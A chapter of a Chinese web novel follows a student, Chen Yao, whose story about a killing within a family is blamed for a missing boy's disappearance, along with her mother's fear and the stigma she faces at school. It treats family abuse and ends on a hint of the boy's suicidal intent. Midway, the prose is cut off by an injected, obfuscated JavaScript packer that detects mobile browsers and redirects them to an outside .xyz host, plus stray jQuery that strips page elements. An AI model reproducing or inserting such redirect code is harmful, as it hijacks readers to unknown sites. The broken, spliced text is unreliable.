宋巧燕今天起得格外早。


    早上六点半，宋巧燕起床，戴上袖套，出门倒垃圾。


    楼道里还有些冷，空气混着消毒水味和清晨的潮湿。


    她习惯性地扫了一眼门口那盆枯了一半的吊兰，抬手把盆子转了个角度，让干叶子朝里藏一点。


    从外面看，这家人还是正常的。


    天还没亮，陈瑶在厨房里，热着昨天的米饭。


    但是宋巧燕已经回来，她走过来已经在厨房里翻腾昨天剩下的饭菜。


    热锅、下油、倒鸡蛋，动作一气呵成，只是始终没说一句话。


    陈瑶靠在门框，闻着油烟味，没胃口。


    “妈，我自己解决吧。”


    “都做了。”宋巧燕头也不抬，“你要不吃，凉了就没味道了。”


    陈瑶没吭声，坐到桌边。


    白瓷碗里是鸡蛋炒饭，有点糊，但咸香。


    电视机开着，声音很低，像怕打扰谁的梦。


    画面上滚动着昨天晚间新闻重播：


    “十三岁少年失踪仍未找到，警方仍在排查其最近浏览内容，‘网络内容引导责任’话题引发广泛讨论。警方表示正排查其网络接触内容和周边关系。”


    陈瑶夹起一口饭，没咀嚼，直接咽下去。母女两个谁都没说话。


    字幕下面配着一张模糊的视频截图，男孩站在超市门口，背包、校服、低头站着。


    像极了她写过的那个角色。


    宋巧燕一边吃饭一边小声说：“你别上网了，最近这几天——都停一停，好不好？”


    陈瑶“嗯”了一声，没有答应，也没有反对。


    ……


    下楼时，有邻居拦住她。


    “哎，宋姐，你那孩子最近是不是——惹了点麻烦？”


    “网上那事，我们小区群里也在转呢，我侄女说都上公众号了。你可得让她别乱说话，马上高考啦。”


    宋巧燕勉强笑了一下，没接话。


    她不是没听懂这话的意思。


    从“你家孩子真优秀”到“别惹事”，只需要一个转发。


    楼下早餐铺已经开张，张大姐照常招呼人：“豆浆一份！油条两个！要甜的咸的？”


    宋巧燕今天没过去帮忙。原本她扫完地会来帮忙赚点钱，但从昨天起，她就不敢去。


    不是怕别人说什么，是怕她听见别人没说出口的那句：“你家那个女儿啊，不是写了个什么杀人小说么？”


    张大姐确实没提这茬，只是打趣：“你家陈瑶这两天怎么没来拿早饭？是不是准备考清华去了？”


    “她最近忙。”宋巧燕笑得僵硬，“复习多。”


    “也对，陈瑶一直是好孩子。”说完，她收回目光，语气一转：“不过现在这年头，孩子懂得多，写得也猛，听我侄女说，有人年纪轻轻就能写小黄文——”


    宋巧燕没接话，只是低头擦桌子，一块、一块、一块。


    ……


    学校这边也没安生，气氛安静得诡异。


    陈瑶走进教室时，几个平常一起吃饭的女生正围在窗边笑着什么，一看到她，就慢慢散开了。


    她走过去，看到他们手机里打开的是那个“弑亲小说”的视频解说版，声音开着字幕：


    ——有网友猜测，小说中的男孩可能原型就是最近失踪的小学弟。”


    “你看小说里的小男孩是不是有点像她班主任的儿子？该不会是有气撒班主任孩子身上了吧。真有意思。”一个女生笑着说。


    “说起来她好像真没爸爸，也没弟弟。”


    “怪不得想象力那么丰富，以后要成大文豪了，咱们都得小心点，谁知道哪天被写进小说里呢？”


    陈瑶把椅子拉开，坐下，没有吭声。


    她知道她们笑，不是因为真的觉得有趣。


    是因为恐惧。


    因为她写出了她们一直不敢说、不愿看、不肯承认的东西。


    ……


    中午饭点，政教主任单独找陈瑶谈话，语气比上次温和多了。


    他说：“学校已经联系上了平台公关部，他们希望你能正式发布一条澄清——说那篇小说纯属虚构，不涉及现实人物。”


    陈瑶问：“我从来没说过它是真的。”


    主任咳了咳：“可你也没说它是假的。现在大家觉得你‘影射现实’，你说是不是有点偏颇？”


    “他们觉得的，和事实，是一码事吗？”


    主任顿住，皱眉：“陈瑶，我理解你很敏感，这件事对你也不公平。但你要知道，你现在不是一个人说话了。你说的每一句话都代表着‘我们学校有没有管好学生’。”


    她沉默了一下，说：“我从没想代表学校。”


    “可你不代表，也被代表了。”主任说。


    这次谈话之后，原本在学校校报文学社的陈瑶被调出了文学社群聊，告诉她的理由是“暂停运营”。


    她收到通知那一刻，屏幕跳出另一个私信：


    【失踪男孩最后一次上线，是在你发那句‘我也想赢一次’后四分钟。】


    ……


    下午放学，她没有回家。


    她坐公交车转了一站，走到旧城区那家邮政储蓄门口——那里，是那个失踪男孩最后出现过的地方。她看到有人贴的寻人启事。纸已经被风吹得翘起边角。


    男孩的照片贴在门边玻璃上，她盯着那个孩子的照片，看了很久。


    照片是剪裁过的，背景处理得很干净，看不出原来是学校还是商场。


    男孩站在树下，穿着白色校服，左肩背带有点破，眼睛直直看着镜头。


    她突然意识到，他长得跟小说里的“弟弟”很像。


    不是故意的——她真的不是照着谁写的。


    但她也说不清，为什么这些影子会一直出现。


    一位老奶奶站在附近，颤抖地举着纸，对每一个经过的人说：“你有没有见过他？他穿着白色校服，黑色运动鞋。”


    没人停下，陈瑶停了。


    老奶奶抬头看了她一眼，眼神发灰。


    “你……认识他吗？”


    陈瑶摇头，但她忽然想起了她小说里的“弟弟”——那种无声站立、始终在场却从未被倾听过的身影。


    那不是刻意塑造的。


    她真的见过。


    在某个被遗忘的家属院楼下，在小学天台角落，在她旧房子厨房门边。


    ……


    晚上，宋巧燕坐在阳台剥毛豆，陈瑶坐在客厅一边写题一边听她咳。


    “你明天要不要请假一天？”


    “为什么？”


    “……你学校校报负责的老师今天找我了，说你写的东西被教育局关注了。”


    陈瑶笔停了一下：“所以呢？”


    “所以，你要不先……别写了。”


    宋巧燕声音有点哑：“你写得太好、太像，大家都怕你不是在写故事，而是在记账。”


    “记账


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504788|170187||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ？”陈瑶苦笑，“我记的是谁的账？他们谁承认有账？”


    “他们不会承认，他们只会说你有问题。”


    “你觉得我有问题吗？”


    宋巧燕没有说话。


    只是作为母亲，宋巧燕很快终于忍不住问她：“你那篇小说，是不是写过头了？”


    陈瑶没抬头：“不是我，是别人做得过头的，”


    所有一切的不公，委屈，痛苦在变成家庭暴力，校园暴力的时候，就被戳成泄了气的气球。


    “可是那个孩子——”


    “妈，你觉得他是因为我才失踪的吗？”


    宋巧燕没说话。


    “如果不是我写了这篇小说，他是不是就能被看到？”


    “现在，是不是大家才开始去查他的社交平台，去翻他最后的留言？是不是为了找他，就会去看他过去都经历了什么事情？”


    “如果我闭嘴，这个失踪的孩子就能立刻会来吗？或者说其他那些孩子就能活下去了吗？”


    陈瑶声音不大，但句句像石头一样砸下来。


    宋巧燕低下头，不敢看她，她想起了过去。


    饭菜已经凉了，没人再动筷子。


    陈瑶也没追问。


    她只是走进房间，把门关上。


    **


    夜里十一点，陈瑶打开点进那个失踪男孩的社交主页。


    她发现，那名失踪男孩的账号，头像已经变成了黑白。


    他之前发的最后一条状态被转发过七百多次：


    “我试过了，乖乖听话，成绩第一，没人打扰，可我还是觉得……火还在烧。”


    她盯着那句话。


    忽然觉得，自己身体也热了起来。她打开窗户，风扑在脸上。可她却清楚地知道——


    火没灭。


    他们只是把它锁在了每个孩子的身体里。


    平复了下心情，陈瑶再次打开手机，重新点进那个失踪男孩的社交主页。


    有一条“仅限互关可见”的动态，刚刚被粉丝搬运出来，配了一段音频。


    她点开。


    那是个男孩的声音，很轻很小：


    “我不会写小说，我也不擅长说话……但我一直在想，那个故事里的哥哥，如果早点有人发现他疼的话，会不会就不会杀人了。我不知道我是不是他。但我真的很想赢一次，哪怕只是，不被讨厌。”


    音频最后，是一声很小的吸鼻音。


    像是哭。


    陈瑶忽然想起，她曾经也在校门口贴过一张寻人启事。


    那时她丢的是一只叫“焦糖”的猫。


    猫没有找回来，邻居说可能是被车轧死了。


    她记得她哭了一晚上，第二天在书包里发现一张纸条——


    “你连只猫都护不住，还想写人？”


    她看着手机屏幕，眼眶发烫。


    外头窗户没关，风吹动了窗帘，月光打进来，影子在地板上摇动，她忽然听见楼下有人笑，不大，像是刚喝完酒的男人在楼口讲笑话。


    那笑声很熟悉。


    是她小时候寄宿亲戚家时，深夜里经常听见的那种笑——


    门锁响、脚步近、客厅电视还亮着。


    那时候她假装睡着，不敢睁眼。


    现在，她不怕了，但也笑不出来了。


    她拉上窗帘，坐回桌边。


    耳机里，那个男孩的声音还在：


    “你写了我。可惜我已经决定走了。”1